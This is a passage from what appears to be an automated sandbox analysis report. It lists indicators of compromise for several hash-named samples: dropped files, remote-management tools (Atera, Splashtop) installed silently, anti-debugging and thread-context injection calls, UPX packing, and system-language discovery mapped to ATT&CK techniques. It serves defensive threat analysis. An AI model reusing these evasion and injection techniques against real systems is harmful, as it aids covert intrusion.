File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_DEB07B5578A606ED6489DDA2E357A944	AteraAgent.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4	AteraAgent.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\2H6FPM3W.txt	ZTSUpdater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141	AteraAgent.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002936[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002954[1].dat	ZTSUpdater.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002925[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002967[1].dat	ZTSUpdater.exe
File created	C:\Windows\system32\SRC2DFD.tmp	MsiExec.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002953[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\0LZ21SLB.txt	ZTSUpdater.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141	MsiExec.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC9B1D0ABBD7F98B401D425828828CE_90864756631514CEFBD0C1134238624E	MsiExec.exe
File opened for modification	C:\Windows\system32\SRCredentialProvider.dll	MsiExec.exe
File opened for modification	C:\Windows\system32\InstallUtil.InstallLog	AteraAgent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002930[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002948[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\ADWP7P1H.txt	ZTSUpdater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageHeartbeat.exe.log	AgentPackageHeartbeat.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vl005[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\CoreMain[1].DLL	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002958[1].dat	ZTSUpdater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageMonitoring.exe.log	AgentPackageMonitoring.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1	AteraAgent.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_9C79DA33A1711362E9D071D2706BB651	SRManager.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageMarketplace.exe.log	AgentPackageMarketplace.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\wf001[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002923[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002949[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002952[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002960[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002951[1].dat	ZTSUpdater.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageTicketing.exe.log	AgentPackageTicketing.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002965[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\LB9VCGYM.txt	ZTSUpdater.exe
File opened for modification	C:\Windows\system32\InstallUtil.InstallLog	AteraAgent.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\AgentPackageInternalPoller.exe.log	AgentPackageInternalPoller.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\nexcl[1].dat	ZTSUpdater.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\vs002933[1].dat	ZTSUpdater.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
3036	BraveCrashHandler.exe
3036	BraveCrashHandler.exe
3036	BraveCrashHandler.exe
3036	BraveCrashHandler.exe
3036	BraveCrashHandler.exe
3296	5a4b8a265b4512cc6a8b192587a5c4c60f689165a6f75ec03c12cef3360355d1.exe
3036	BraveCrashHandler.exe
5696	8efd270db517e7b0680011cf1ac803a2675507d8701ed1b86c8ddab7b2823a6f.exe

Suspicious use of SetThreadContext 11 IoCs

description	pid	Process	procid_target
PID 1440 set thread context of 320	1440	Setup.exe	193
PID 5928 set thread context of 4216	5928	Setup.exe	197
PID 6092 set thread context of 4220	6092	Setup.exe	203
PID 316 set thread context of 4340	316	BraveSharedUpdater.exe	255
PID 4340 set thread context of 1756	4340	iexplore.exe	257
PID 304 set thread context of 6192	304	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe	438
PID 8084 set thread context of 5124	8084	WFCZkFkLjq.exe	596
PID 1576 set thread context of 7964	1576	3308846112491d2be14987d952ad5a5f6ce851a97d684ad98a44e29eba803d6d.exe	600
PID 7964 set thread context of 3432	7964	svchost.exe	56
PID 1600 set thread context of 3432	1600	raserver.exe	56
PID 1600 set thread context of 4340	1600	raserver.exe	255

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1504-7553-0x000000006B8B0000-0x000000006B9CC000-memory.dmp	upx
behavioral1/memory/1504-7554-0x000000006B4E0000-0x000000006B8AD000-memory.dmp	upx
behavioral1/memory/4748-7575-0x000000006B8B0000-0x000000006B9CC000-memory.dmp	upx
behavioral1/memory/4748-7586-0x000000006B4E0000-0x000000006B8AD000-memory.dmp	upx
behavioral1/memory/7152-7616-0x000000006B8B0000-0x000000006B9CC000-memory.dmp	upx
behavioral1/memory/7152-7617-0x000000006B4E0000-0x000000006B8AD000-memory.dmp	upx
behavioral1/memory/1504-7646-0x000000006B8B0000-0x000000006B9CC000-memory.dmp	upx
behavioral1/memory/1504-7647-0x000000006B4E0000-0x000000006B8AD000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STVSpk\utils\devcon64.exe	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STVSpk\utils\DIFxCmd.exe	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Net.NetworkInformation.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\System.ValueTuple.dll	AteraAgent.exe
File opened for modification	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\choco-logs\11-08-2024 23_50_07-log.txt	AgentPackageProgramManagement.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-F6UQ7.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRDetect.exe	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\LciDisplay\win10\x64\lci_iddcx.dll	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STPrinter\32bits\XDColMan.dll	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Net.WebHeaderCollection.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\generic.cfg.bak	AgentPackageInternalPoller.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-FJ5LR.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Advanced IP Scanner\is-QBUKA.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STPrinter\win10\stprinter.inf	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Serilog.Extensions.Hosting.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\AgentPackageProgramManagement.exe.config	AteraAgent.exe
File opened for modification	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\tools\7z.dll.manifest	AgentPackageProgramManagement.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\Serilog.Sinks.File.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Globalization.Extensions.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\pcach.cch	AgentPackageProgramManagement.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageHeartbeat\Atera.AgentPackage.Common.dll	AteraAgent.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-557QI.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\LciDisplay\win7\lci_proxywddm.inf	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\LciDisplay\win7\x64\my_setup.dll	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\pl\Microsoft.Win32.TaskScheduler.resources.dll	AteraAgent.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-UO75R.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Advanced IP Scanner\is-4LPVE.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\Polly.dll	AteraAgent.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-U4L5N.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Zillya Total Security\Qt5Network.dll	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\fips.dll	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRAppPB.exe	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\GamePad\install_driver64.bat	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STPrinter\win10\uninstall_driver.bat	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\Newtonsoft.Json.dll	AteraAgent.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-ADM0A.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Advanced IP Scanner\is-EBPVC.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\Mirror\xp64\driver\mv2.inf	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\Agent.Package.Watchdog\System.ServiceProcess.ServiceController.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\Atera.AgentPackages.CommonLib.dll	AteraAgent.exe
File opened for modification	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageProgramManagement\helpers\functions\Test-ProcessAdminRights.ps1	AgentPackageProgramManagement.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Runtime.Serialization.Json.dll	AteraAgent.exe
File created	C:\Program Files (x86)\Advanced IP Scanner\is-1EJND.tmp	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STPrinter\64bits\XDColMan.dll	msiexec.exe
File created	C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Driver\STVAD\win7\stvad.cat	msiexec.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageSTRemote.zip	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.ComponentModel.EventBasedAsync.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageTicketing\TicketingTrayTMP.exe	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.exe.config	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Linq.Queryable.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation.zip	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Drawing.Primitives.dll	AteraAgent.exe
File opened for modification	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\Atera.Utils.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Net.Http.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMarketplace\System.Buffers.dll	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageInternalPoller\LastSyncDevicesTime.txt	AgentPackageInternalPoller.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring\x64\SQLite.Interop.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageAgentInformation\dynamicfieldscaching.cch	AgentPackageAgentInformation.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageMonitoring.zip	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageADRemote\AgentPackageADRemote.ini	AteraAgent.exe
File created	C:\Program Files (x86)\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Diagnostics.Process.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Collections.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\Newtonsoft.Json.dll	AteraAgent.exe
File created	C:\Program Files\ATERA Networks\AteraAgent\Packages\AgentPackageOsUpdates\System.Linq.Expressions.dll	AteraAgent.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1\3.0.2377\F_CENTRAL_vccorlib120_x86.194841A2_D0F2_3B96_9F71_05BA91BEA0FA	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AA354307-EBD0-4C41-9B74-0AF1BD8AA230}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI28E9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7C7C.tmp-\System.Management.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIA5B8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID2F4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA3D2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1\3.0.2377	msiexec.exe
File opened for modification	C:\Windows\Installer\e6c1a48.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E732A0D7-A2F2-4657-AC41-B19742648E45}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8C21.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	wusa.exe
File opened for modification	C:\Windows\Installer\MSI1AF4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC08C.tmp-\AlphaControlAgentInstallation.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIC8CF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA84A.tmp-\Newtonsoft.Json.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7BE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI80E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI430B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC08C.tmp-\System.Management.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIC5CD.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSID275.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSID275.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI793F.tmp-\Newtonsoft.Json.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7C7C.tmp-\Newtonsoft.Json.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1\3.0.2377\F_CENTRAL_msvcr120_x86.194841A2_D0F2_3B96_9F71_05BA91BEA0FA	msiexec.exe
File opened for modification	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1\3.0.2377\F_CENTRAL_vccorlib120_x86.194841A2_D0F2_3B96_9F71_05BA91BEA0FA	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	wusa.exe
File opened for modification	C:\Windows\Installer\MSIC5CD.tmp-\Newtonsoft.Json.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\{B7C5EA94-B96A-41F5-BE95-25D78B486678}\ARPPRODUCTICON.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8094.tmp-\System.Management.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI8094.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1\3.0.2377\F_CENTRAL_msvcp120_x86.194841A2_D0F2_3B96_9F71_05BA91BEA0FA	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	wusa.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File opened for modification	C:\Windows\Installer\MSIC5CD.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8094.tmp-\Newtonsoft.Json.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI793F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIA3C1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e6c1a54.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI793F.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIA84A.tmp-\AlphaControlAgentInstallation.dll	rundll32.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Installer\MSIC1E4.tmp-\System.Management.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIC5CD.tmp-\CustomAction.config	rundll32.exe
File created	C:\Windows\Installer\e6c1a4e.msi	msiexec.exe
File created	C:\Windows\Installer\$PatchCache$\Managed\51EC7DF4A48D20F438CD1A50420736B1\3.0.2377\F_CENTRAL_mfcm120u_x86.194841A2_D0F2_3B96_9F71_05BA91BEA0FA	msiexec.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\Installer\e6c1a4b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8094.tmp-\AlphaControlAgentInstallation.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI88D4.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC1E4.tmp-\AlphaControlAgentInstallation.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIC7C2.tmp	msiexec.exe
File created	C:\Windows\Installer\e6c1a52.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI793F.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7C7C.tmp	msiexec.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe
File created	C:\Windows\Installer\e6c1a4d.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4FD7CE15-D84A-4F02-83DC-A1052470631B}	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
512	sc.exe
5560	sc.exe
7552	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
5784	2752	WerFault.exe	331
4828	2752	WerFault.exe	331
280	8084	WerFault.exe	593

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WFCZkFkLjq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	raserver.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZTS3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NET.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRAppPB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7245244c75276269f56cce5f81194681a881d4746a7abec6807f28a19b04ba66.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msinfo32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRUtility.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NET.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	20b22e21664030bcbea413d2c054f99f62956cf9feedc6148fe34870ce124f79.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	more.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZTS3.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZTS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZTS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	client32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BraveSharedUpdater.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PreVerCheck.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ZTS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRSelfSignCertUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SystemResearchTool.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TaskKill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SRUtility.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
